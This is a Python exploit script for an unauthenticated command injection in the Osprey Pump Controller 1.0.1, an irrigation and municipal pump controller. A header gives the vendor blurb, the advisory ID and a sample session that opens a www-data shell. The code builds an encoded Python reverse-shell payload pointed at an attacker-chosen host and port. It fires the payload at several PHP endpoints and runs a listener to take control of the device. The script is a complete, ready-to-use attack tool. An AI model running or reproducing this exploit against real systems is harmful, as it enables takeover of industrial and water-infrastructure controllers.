#!/usr/bin/env python
#
#
# Exploit Title: Osprey Pump Controller 1.0.1 - Unauthenticated Remote Code Execution Exploit
# Exploit Author: LiquidWorm
#
#
# Vendor: ProPump and Controls, Inc.
# Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com
# Affected version: Software Build ID 20211018, Production 10/18/2021
# Mirage App: MirageAppManager, Release [1.0.1]
# Mirage Model 1, RetroBoard II
#
#
# Summary: Providing pumping systems and automated controls for
# golf courses and turf irrigation, municipal water and sewer,
# biogas, agricultural, and industrial markets. Osprey: door-mounted,
# irrigation and landscape pump controller.
#
# Technology hasn't changed dramatically on pump and electric motors
# in the last 30 years. Pump station controls are a different story.
# More than ever before, customers expect the smooth and efficient
# operation of VFD control. Communications—monitoring, remote control,
# and interfacing with irrigation computer programs—have become common
# requirements. Fast and reliable accessibility through cell phones
# has been a game changer.
#
# ProPump & Controls can handle any of your retrofit needs, from upgrading
# an older relay logic system to a powerful modern PLC controller, to
# converting your fixed speed or first generation VFD control system to
# the latest control platform with communications capabilities.
#
# We use a variety of solutions, from MCI-Flowtronex and Watertronics
# package panels to sophisticated SCADA systems capable of controlling
# and monitoring networks of hundreds of pump stations, valves, tanks,
# deep wells, or remote flow meters.
#
# User friendly system navigation allows quick and easy access to all
# critical pump station information with no password protection unless
# requested by the customer. Easy to understand control terminology allows
# any qualified pump technician the ability to make basic changes without
# support. Similar control and navigation platform compared to one of the
# most recognized golf pump station control systems for the last twenty
# years make it familiar to established golf service groups nationwide.
# Reliable push button navigation and LCD information screen allows the
# use of all existing control panel door switches to eliminate the common
# problems associated with touchscreens.
#
# Global system configuration possibilities allow it to be adapted to
# virtually any PLC or relay logic controlled pump stations being used in
# the industrial, municipal, agricultural and golf markets that operate
# variable or fixed speed. On board Wi-Fi and available cellular modem
# option allows complete remote access.
#
# Desc: The controller suffers from an unauthenticated command injection
# vulnerability that allows system access with www-data permissions.
#
# ----------------------------------------------------------------------
# Triggering command injection...
# Trying vector: /DataLogView.php
# Operator...?
# You got a call from 192.168.3.180:54508
# [email protected]:/var/www/html$ id;pwd
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# /var/www/html
# [email protected]:/var/www/html$ exit
# Zya!
# ----------------------------------------------------------------------
#
# Tested on: Apache/2.4.25 (Raspbian)
# Raspbian GNU/Linux 9 (stretch)
# GNU/Linux 4.14.79-v7+ (armv7l)
# Python 2.7.13 [GCC 6.3.0 20170516]
# GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git
# PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# Macedonian Information Security Research and Development Laboratory
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
#
#
# Advisory ID: ZSL-2023-5754
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5754.php
#
#
# 05.01.2023
#
# o o
# O O
# o o
# o o
#_____________________\ /
# ||
# ||
# ||
from time import sleep
import pygame.midi #---#
import subprocess #---#
import threading #-----#
import telnetlib #-----#
import requests #-------#
import socket #-----------#
import pygame #-----------#
import random #-----------#
import sys #---------------#
import re #-----------------#
###### # #-----------------#
class Pump__it__up:
def __init__(self):
self.sound=False
self.param="eventFileSelected"
self.vector=["/DataLogView.php?"+self.param,
"/AlarmsView.php?"+self.param,
"/EventsView.php?"+self.param,
"/index.php"] # POST
self.payload=None
self.sagent="Tic"
self.rhost=None
self.lhost=None
self.lport=None
def propo(self):
if len(sys.argv)!=4:
self.kako()
else:
self.presh()
self.rhost=sys.argv[1]
self.lhost=sys.argv[2]
self.lport=int(sys.argv[3])
if not "http" in self.rhost:
self.rhost="http://{}".format(self.rhost)
def kako(self):
self.pumpaj()
print("Ovakoj: python {} [RHOST:RPORT] [LHOST] [LPORT]".format(sys.argv[0]))
exit(0)
def pumpaj(self):
titl="""
.-.
| \\
| / \\
,___| | \\
/ ___( ) L
'-` | | |
| | F
| | /
| |
| |
____|_|____
[___________]
,,,,,/,,,,,,,,,,,,,\\,,,,,
o-------------------------------------o
Osprey Pump Controller RCE Rev Shel_
v1.0j
Ref: ZSL-2023-5754
by lqwrm, 2023
o-------------------------------------o
"""
print(titl)
def injekcija(self):
self.headers={"Accept":"*/*",
"Connection":"close",
"User-Agent":self.sagent,
"Cache-Control":"max-age=0",
"Accept-Encoding":"gzip,deflate",
"Accept-Language":"en-US,en;q=0.9"}
self.payload =";"######################################################"
self.payload+="/usr/bin/python%20-c%20%27import%20socket,subprocess,os;"
self.payload+="s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con"
self.payload+="nect((%22"+self.lhost+"%22,"+str(self.lport)+"));os.dup2"
self.payload+="(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),"
self.payload+="2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27"#######"
print("Triggering command injection...")
for url in self.vector:
if url=="/index.php":
print("Trying vector:",url)
import urllib.parse
self.headers["Content-Type"]="application/x-www-form-urlencoded"
self.postdata={"userName":urllib.parse.unquote(self.payload),
"pseudonym":"251"}
r=requests.post(self.rhost+url,headers=self.headers,data=self.postdata)
if r.status_code == 200:
break
else:
print("Trying vector:",url[:-18])
r=requests.get(self.rhost+url+"="+self.payload,headers=self.headers)
print("Code:",r.status_code)
if r.status_code == 200:
print('Access Granted!')
break
def netcat(self):
import nclib
server = nclib.TCPServer(("0.0.0.0",int(self.lport)))
print("Operator...?")
server.sock.settimeout(7)
for client in server:
print("You got a call from %s:%d" % client.peer)
command=""
while command!="exit":
if len(command)>0:
if command in client.readln().decode("utf-8").strip(" "):
pass
data = client.read_until('$')
print(data.decode("utf-8"), end="")
command = input(" ")
client.writeln(command)
print("Zya!")
exit(1)
def rasplet(self):
if self.sound:
konac1=threading.Thread(name="Pump_Up_The_Jam_1",target=self.entertain)
konac1.start()
konac2=threading.Thread(name="Pump_Up_The_Jam_2",target=self.netcat)
konac2.start()
self.injekcija()
def presh(self):
titl2="""
_______________________________________
/ \\
| {###################################} |
| {## Osprey Pump Controller ##} |
| {## RCE 0day ##} |
| {## ##} |
| {## ZSL-2023-5754 ##} |
| {###################################} |
| |
| 80 90 100 |
| 70 ^ 120 |
| 60 * /|\ * 140 |
| 55 | 160 |
| | |
| | |
| (O) (+) (O) |
\_______________________________________/
"""
print(titl2)
def entertain(self):
pygame.midi.init()
midi_output=pygame.midi.Output(0)
notes=[
(74,251),(86,251),(76,251),(88,251),(84,251),(72,251),(69,251),(81,251),
(83,251),(71,251),(67,251),(79,251),(74,251),(62,251),(64,251),(76,251),
(72,251),(60,251),(69,251),(57,251),(59,251),(71,251),(55,251),(67,251),
(62,251),(50,251),(64,251),(52,251),(48,251),(60,251),(57,251),(45,251),
(47,251),(59,251),(45,251),(57,251),(56,251),(44,251),(43,251),(55,251),
(67,251),(43,251),(55,251),(79,251),(71,251),(74,251),(55,251),(59,251),
(62,251),(63,251),(48,251),(64,251),(72,251),(52,251),(55,251),(60,251),
(64,251),(43,251),(55,251),(72,251),(60,251),(64,251),(55,251),(58,251),
(72,251),(41,251),(53,251),(60,251),(57,251),(52,251),(40,251),(72,251),
(76,251),(84,251),(55,251),(60,251),(77,251),(86,251),(74,251),(75,251),
(78,251),(87,251),(79,251),(43,251),(76,251),(88,251),(72,251),(84,251),
(76,251),(60,251),(55,251),(86,251),(74,251),(77,251),(52,251),(88,251),
(79,251),(76,251),(43,251),(83,251),(74,251),(71,251),(86,251),(74,251),
(77,251),(59,251),(53,251),(55,251),(76,251),(84,251),(48,251),(72,251),
(52,251),(55,251),(60,251),(52,251),(55,251),(60,251),(55,251),(59,251),
(62,251),(63,251),(64,251),(48,251),(72,251),(60,251),(52,251),(55,251),
(64,251),(43,251),(55,251),(72,251),(64,251),(55,251),(58,251),(60,251),
(72,251),(41,251),(53,251),(60,251),(57,251),(40,251),(52,251),(72,251),
(51,251),(81,251),(39,251),(69,251),(67,251),(79,251),(72,251),(38,251),
(50,251),(78,251),(66,251),(72,251),(69,251),(81,251),(50,251),(72,251),
(54,251),(57,251),(84,251),(60,251),(76,251),(88,251),(50,251),(74,251),
(86,251),(84,251),(54,251),(57,251),(60,251),(72,251),(69,251),(81,251)]
channel=0
velocity=124
for note, duration in notes:
midi_output.note_on(note, velocity, channel)
duration=59
pygame.time.wait(random.randint(100,301))
pygame.time.wait(duration)
midi_output.note_off(note, velocity, channel)
del midi_output
pygame.midi.quit()
def main(self):
self.propo()
self.rasplet()
exit(1)
if __name__=='__main__':
Pump__it__up().main()